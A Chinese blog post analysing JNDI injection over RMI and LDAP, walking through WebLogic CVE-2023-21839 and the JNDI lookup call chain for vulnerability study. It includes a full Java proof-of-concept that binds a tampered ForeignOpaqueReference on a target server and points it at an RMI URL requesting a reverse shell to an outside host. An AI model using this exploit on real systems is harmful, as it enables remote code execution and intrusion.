当前位置： 首页 > news >正文

深入理解JNDI注入—RMI/LDAP攻击

news 2024/11/15 8:39:55

文章目录

  • 前言
  • JNDI 注入简单理解
  • 透过Weblogic漏洞深入理解
    • RMI与LDAP的区别
    • JNDI+RMI
      • 漏洞代码触发链
      • lookup触发链
    • JNDI+LDAP

前言

本篇文章初衷是在研究log4j2漏洞时候找不到一篇完整且能够真正让我理解漏洞根因的文章，导致我想写一篇通俗易懂能理解到底啥是JNDI注入，怎么lookup的。

当然不排除国外英文文章有很好的解释，但是我更希望有中文版本。

JNDI 注入简单理解

JNDI (Java Naming and Directory Interface)

JNDI注入可以归纳为后台在执行代码的时候，最终会执行到lookup函数，然后lookup函数传入的值是我们在请求或者其他方式能够控制的一个变量，再者lookup支持远程方法调用（RMI）、轻型目录访问协议（LDAP）、域名服务（DNS）。

定眼一看RMI、LDAP、DNS，肾上腺素拉满，这仨都可以配合JNDI注入进行(lookup)漏洞利用攻击。 所以这也就是为啥有很多攻击方式为：JNDI+RMI、JNDI+LDAP、JNDI+DNS，最具杀伤力的自然是rmi和ldap协议，能够远程绑定对象执行代码。（这里别蒙圈，知道这俩协议配合JNDI能够远程执行代码即可）

通常测试是否存在JNDI注入漏洞的话可以先用DNS探测一下是否有回显，有的话才好进行下一步的攻击。
还有一个公共对象请求代理体系结构（CORBA）

透过Weblogic漏洞深入理解

该漏洞为：Weblogic未授权远程代码执行漏洞(CVE-2023-21839)

下面的源码分析都围绕23年Weblogic的一个未授权远程代码执行漏洞来解释怎么RMI和LDAP攻击，这也是为啥我不满意网上大部分文章的原因，没有结合一个具体的漏洞去解释这俩协议。
(纯属个人观点，毕竟还是参考了很多大佬文章的，各位道友轻点喷)

  • 漏洞原理
    假如你不理解下面要概括的漏洞原理的话那就也莫慌，你只需要知道最终触发的还是lookup函数即可，上面的解释就是为了你在朋友面前装13的而已，显得你很牛13。
    漏洞可以概括为：因为weblogic支持t3和iiop协议绑定远程对象，然后绑定的远程对象是ForeignOpaqueReferent的话，客户端通过jndi查询的时候，服务端其实是调用了远程对象的getRefernet函数进行实例化，然后在这个函数里面进行了lookup查找，查找的是remoteJNDIName，这个就是漏洞点，我们可以通过反射机制修改这个remoteJNDIName，也就是说可以控制使用rmi或者ldap协议进行远程执行代码。

注：！！！补充，这个weblogic漏洞是你绑定对象后主动的进行lookup查询，然后让后台触发了你绑定的类然后他又去触发了lookup执行了你的恶意payload。

RMI与LDAP的区别

RMI和LDAP的区别其实就是安全限制有最大的不同，两个协议用起来都是需要加载恶意类到本地执行命令。
(区别就是：RMI/LDAP远程对象引用安全限制存在差异)

参考文章：
https://myzxcg.com/2021/10/Java-JNDI分析与利用/#jndi-目录服务

↓↓↓↓↓↓里面有写一段，解决了我的对两个协议的疑惑：↓↓↓↓↓↓

  1. RMI
    在RMI服务中引用远程对象将受本地Java环境限制，本地的java.rmi.server.useCodebaseOnly配置如果为true(禁止引用远程对象)，为false则允许加载远程类文件。

    除此之外被引用的ObjectFactory对象还将受到com.sun.jndi.rmi.object.trustURLCodebase配置限制，如果该值为false(不信任远程引用对象)，一样无法调用远程的引用对象。
  • JDK5u45、JDK6u45、JDK7u21、JDK8u121开始，java.rmi.server.useCodebaseOnly默认值改为了true。
  • JDK6u132、JDK7u122、JDK8u113开始com.sun.jndi.rmi.object.trustURLCodebase默认值改为了 false。
    本地测试远程对象引用可以使用如下方式允许加载远程的引用对象
    System.setProperty("java.rmi.server.useCodebaseOnly", "false");
    System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
  1. LDAP
    LDAP也在JDK6u211、7u201、8u191、11.0.1后将com.sun.jndi.ldap.object.trustURLCodebase的默认设置为了false。（但不受java.rmi.server.useCodebaseOnly影响）

JNDI+RMI

如果你看懂了上面的并且觉得够了且已经理解了，那么就无需看下面分析了，因为这里我写的原因就是因为不相信别人说的，我才希望真正看到是不是真的能够进行JNDI注入lookup进行攻击。

  • Weblogic未授权远程代码执行(CVE-2023-21839)的源码分析，使用RMI攻击。
    分析前要记住一点：Weblogic t3/iiop协议支持远程绑定对象bind到服务端

    • 允许绑定对象这一点很重要，既然允许绑定对象，那么我们就需要找一个能够触发lookup且变量可控的类去绑定，这样我们才能够实现JNDI注入攻击。

  • 巧的是：当远程对象继承自OpaqueReference时，lookup查看远程对象，查询的变量是remoteJNDIName(可通过反射机制控制)。
    这里又发现一篇文章写得不错，我参考了一二：https://g1asssy.com/2024/01/31/CVE_2024_20931/
    ↓↓↓↓↓↓其中有一段解释的很好↓↓↓↓↓↓

    利用步骤大致分为三步:

    1. 建立一个恶意ForeignOpaqueReference对象，并将remoteJNDIName设置为远程恶意JNDI服务。
    2. 通过T3 \ IIOP协议在WLS上绑定该恶意对象。
    3. 通过lookup查询该恶意对象，触发ForeignOpaqueReference.getReferent的调用，从而造成恶意JNDI注入。

    通过lookup查询该恶意对象：这句话意思是你绑定服务器端后能够在poc中自己决定是否拿着这个类去lookup触发，这也就是为啥我选weblogic这个漏洞来解释的原因，他的poc就是你自己来决定绑定后是否进行lookup攻击的，很直接了当告诉你就是lookup触发的，别不信，你自己决定是否lookup攻击。
    注：！！！我还要再次补充就是，这个weblogic漏洞是你绑定对象后主动的进行lookup查询，然后让后台触发了你绑定的类然后他又去触发了lookup执行了你的恶意payload。

漏洞代码触发链

参考文章：https://xz.aliyun.com/t/12297
下图为：ForeignOpaqueReference的父类OpaqueReference，可以看到里面存在getReferent函数，这个函数跟进去就有触发lookup。
在这里插入图片描述
跟进getReferent，你看我框住的就行，你会发现我们只要满足下面两点：

  1. jndiEnvironment不为空，就能初始化好我们的var4。
  2. 控制remoteJNDIName变量就能够进行远程代码执行
    (将值换成我们的RMI或者LDAP协议进行攻击)

然而以上的条件都可以通过编写脚本用反射机制拿到变量进行修改，说白了就是在lookup查询你绑定好的对象时，就会调用ForeignOpaqueReference.getReferent()，然后就去触发受害端后台的lookup，接着执行你控制好的remoteJNDIName，所以这里我们只要控制var4与this.remoteJNDIName就能造成jndi注入。

在这里插入图片描述
以下是RMI的漏洞攻击POC：
注明：本人没有测试poc是否成功，建议使用集成工具一键搭好攻击环境：
https://github.com/ugnoeyh/Log4shell_JNDIExploit
在这里插入图片描述
解下介绍poc代码

  • 引入依赖
<dependency><groupId>weblogic</groupId><artifactId>wlfullclient</artifactId><version>0.1</version>
</dependency>
<dependency><groupId>weblogic</groupId><artifactId>spring</artifactId><version>0.1</version>
</dependency>
<dependency><groupId>weblogic</groupId><artifactId>logging</artifactId><version>0.1</version>
</dependency>
  • 主代码
    注意先进行反射机制拿到变量jndiEnvironment 和remoteJNDIName ，然后设置好值后，远程绑定ForeignOpaqueReference对象，然后才是你主动的去进行 lookup查询ForeignOpaqueReference对象，这一步主动lookup是为了受害端去getReferent 然后触发lookup去get你的恶意payload进行实例化造成攻击。
    ps：上面加深的这句 "这一步主动lookup是为了受害端去getReferent 然后触发lookup去get你的恶意payload进行实例化造成攻击" ，看不懂可以接下去看lookup触发链。
    （我已大彻大悟，不知道友悟到没。）
import weblogic.deployment.jms.ForeignOpaqueReference;
import weblogic.iiop.IOPProfile;import javax.naming.Context;
import javax.naming.InitialContext;
import java.lang.reflect.Field;
import java.util.Hashtable;public class CVE_2023_21839 {public static void main(String[] args) throws Exception {String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";// 创建用来远程绑定对象的InitialContextString url = "t3://192.168.135.129:7001"; // 目标机器Hashtable env1 = new Hashtable();env1.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);env1.put(Context.PROVIDER_URL, url); // 目标InitialContext c = new InitialContext(env1);// ForeignOpaqueReference的jndiEnvironment属性Hashtable env2 = new Hashtable();env2.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");// ForeignOpaqueReference的jndiEnvironment和remoteJNDIName属性ForeignOpaqueReference f = new ForeignOpaqueReference();Field jndiEnvironment = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");jndiEnvironment.setAccessible(true);jndiEnvironment.set(f, env2);Field remoteJNDIName = ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");remoteJNDIName.setAccessible(true);String rmi= "rmi://192.168.135.1:1389/Basic/ReverseShell/192.168.135.1/7777";remoteJNDIName.set(f, rmi);// 远程绑定ForeignOpaqueReference对象c.rebind("sectest", f);// lookup查询ForeignOpaqueReference对象try {c.lookup("sectest");} catch (Exception e) {}}
}

lookup触发链

OK上面就是weblogic漏洞未授权远程代码执行的一个主要漏洞根因，下面介绍的是知道了进行lookup后，lookup是怎么加载恶意payload的过程。
这里有一个lookup进行实例化对象的调用栈
(从下JNDI_Test的函类开始往上看)

getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
↑↑↑↑↑↑
getObjectInstance:319, NamingManager (javax.naming.spi)
↑↑↑↑↑↑
decodeObject:456, RegistryContext (com.sun.jndi.rmi.registry)
↑↑↑↑↑↑
lookup:120, RegistryContext (com.sun.jndi.rmi.registry)
↑↑↑↑↑↑
lookup:203, GenericURLContext (com.sun.jndi.toolkit.url)
↑↑↑↑↑↑
lookup:411, InitialContext (javax.naming)
↑↑↑↑↑↑
main:7, JNDI_Test (demo)

再往深了讲getObjectFactoryFromReference就是最终的罪魁祸首。
其他调用过程就不讲了，有感兴趣可以看参考文章：https://xz.aliyun.com/t/12297
接着讲：getObjectFactoryFromReference干了啥，以下是他的源码部分
其中

  1. clas = helper.loadClass(factoryName);尝试从本地加载Factory类
  2. clas = helper.loadClass(factoryName, codebase);从远程加载我们恶意class
  3. return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
    最后会返回加载好的class。
  4. 如果你还要看loadClass里面怎么加载的，在参考文章中也有告诉我就是：URLClassLoader来加载我们的恶意类。
static ObjectFactory getObjectFactoryFromReference(Reference ref, String factoryName)throws IllegalAccessException,InstantiationException,MalformedURLException {Class clas = null;// Try to use current class loadertry {clas = helper.loadClass(factoryName);} catch (ClassNotFoundException e) {// ignore and continue// e.printStackTrace();}// All other exceptions are passed up.// Not in class path; try to use codebaseString codebase;if (clas == null &&(codebase = ref.getFactoryClassLocation()) != null) {try {clas = helper.loadClass(factoryName, codebase);} catch (ClassNotFoundException e) {}}return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}

至此，历尽千辛万苦，透过一个23年的weblogic漏洞分析JNDI到此结束。

JNDI+LDAP

同理RMI，就是有版本的安全配置限制，上面也讲了两个协议的区别，但实质都是通过加载恶意类来攻击的。

身为散修就这么生硬的解释，道友莫怪。
感谢看到这里的道友~


http://www.mrgr.cn/news/29203.html

相关文章：

  • Ubuntu22.04 安装mysql8 无法修改端口及配置的问题 坑啊~~~~
  • Ubuntu配置阿里云docker apt源
  • react-redux useSelector钩子 学习样例 + 详细解析
  • MFC IDC_STATIC控件嵌入一个DIALOG界面
  • 【蓝桥等考C++真题】蓝桥杯等级考试C++组第13级L13真题原题(含答案)-最大的数
  • SQL50题
  • 变电站缺陷隐患检测图像数据集，总共包含8000张图片，包含渗漏油，鸟巢，表盘破损，呼吸器变色等
  • MySQL-DDL/DML（数据定义/操作语言）
  • 【乐企-业务篇】开票前置校验服务-规则链服务接口实现（纳税人基本信息）
  • 是时候对企业数字化转型进行一次复盘了
  • Java中的服务端点异常处理：全局异常处理器
  • 责任链模式详解：实现请求处理的灵活解耦
  • 独孤思维：踩中红利，你也赚不到钱
  • 11111
  • 03-Mac系统PyCharm主题设置
  • C++ | Leetcode C++题解之第414题第三大的数
  • 调试、开发板、串口、Vitis、源码。
  • 一个高效使用AI产品的小技巧
  • 鸿蒙 ArkUI组件三
  • 浅谈C#之SynchronizationContext
  • 【python版】示波器输出的csv文件（时间与电压数据）如何转换为频率与幅值【方法⑤】
  • Docker常用命令大全
  • 【RabbitMQ】RabbitMQ 概述
  • python爬虫之json模块和jsonpath模块（5）
  • 【30天玩转python】网络编程基础
  • python爬虫之正则表达式（3）